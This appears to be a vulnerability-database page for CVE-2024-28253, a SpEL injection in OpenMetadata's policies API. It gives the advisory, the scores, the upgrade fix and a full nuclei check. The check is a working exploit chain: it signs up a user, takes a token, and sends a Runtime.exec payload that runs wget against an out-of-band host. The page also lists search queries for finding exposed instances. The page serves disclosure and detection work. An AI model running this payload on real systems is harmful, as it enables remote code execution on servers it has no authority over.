HexBrain

Browse / CVEs / CVE-2024-28253

CVE-2024-28253· open-metadata / openmetadata· CWE-94

OpenMetaData - SpEL Injection in PUT /api/v1/policies

criticalseverity
9.4CVSS score
12.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

Attackers can execute arbitrary code remotely, potentially leading to full system compromise.

Fix

Upgrade to version 1.3.1 or later.

How to confirm it

Send: POST /api/v1/users/signup
Positive when: status_code == 201 and contains(content_type, 'application/json') and contains_all(body, 'fullyQualifiedName', 'isBot', 'isAdmin')
Send: POST /api/v1/users/login
Positive when: status_code == 200 and contains(content_type, 'application/json') and contains_all(body, 'accessToken', 'tokenType')
Send: PUT /api/v1/policies
Positive when: contains in interactsh_protocol "dns" AND status 400

Run it with nuclei: nuclei -id CVE-2024-28253 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-28253

info:
  name: OpenMetaData - SpEL Injection in PUT /api/v1/policies
  author: daffainfo
  severity: critical
  description: |
    OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.3.1 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
    - https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr
    - https://nvd.nist.gov/vuln/detail/VE-2024-28253
    - https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
    - https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2024-28253
    cwe-id: CWE-94
    epss-score: 0.12527
    epss-percentile: 0.96264
    cpe: cpe:2.3:a:open-metadata:openmetadata:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: open-metadata
    product: openmetadata
    shodan-query: http.favicon.hash:"733091897"
    fofa-query: icon_hash="733091897"
    google-query: intitle:"openmetadata"
  tags: cve,cve2024,openmetadata,spel,rce,intrusive,file-upload,oast,vkev,vuln

variables:
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  password: "{{concat(rand_char('!@#$'), rand_base(4, 'abcdef'), rand_base(4, '1234567890'), rand_char('ABCDEF'))}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/v1/users/signup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"firstName":"{{firstname}}","lastName":"{{lastname}}","email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 201"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, 'fullyQualifiedName', 'isBot', 'isAdmin')"
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/users/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{base64(password)}}"}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, 'accessToken', 'tokenType')"
        condition: and
        internal: true

    extractors:
      - type: json
        name: accessToken
        json:
          - '.accessToken'
        internal: true

  - raw:
      - |
        PUT /api/v1/policies HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{accessToken}}
        Content-Type: application/json

        {"name":"{{randstr}}","rules":[{"name":"{{randstr}}","description":"{{randstr}}","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('{{base64("wget http://{{interactsh-url}}")}}')))"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from